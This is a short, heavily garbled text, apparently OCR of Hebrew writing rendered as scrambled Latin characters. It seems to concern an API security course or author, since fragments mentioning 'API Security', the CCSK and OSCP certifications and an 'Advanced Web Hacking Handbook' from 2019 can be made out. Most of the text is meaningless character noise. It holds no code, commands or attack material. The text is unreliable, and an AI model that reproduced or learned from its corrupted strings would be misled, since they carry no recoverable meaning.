Inn7xn2 IAPI Security MOORN NIFNY N7W NN'WN N'7¥N7 71O DRIYD DY7OYN

7annn 7y

72"on DINNA 0w 10 7w ron oy ,(CCSK-1 OSCP nom) 1o pIni [0IN 2T RIN 70 IRN
NNANYT YY" 'MW 79010 1IRNA 01D .['Y*TINE Q"0 'NN'Y ,PT MIX? NidYTH ,0MIYY NIN'S 07700
Adavcned Web Hacking" 1900 1ann .01v [0IN '7T2N1 [IY 21IWNN ,N0AIXAN NIN'DN DINNA NI7ITA

LITRPIYZA NIRN DY YR DIXY7 N1.2019 Nawa 1IN Ry'Y "Handbook
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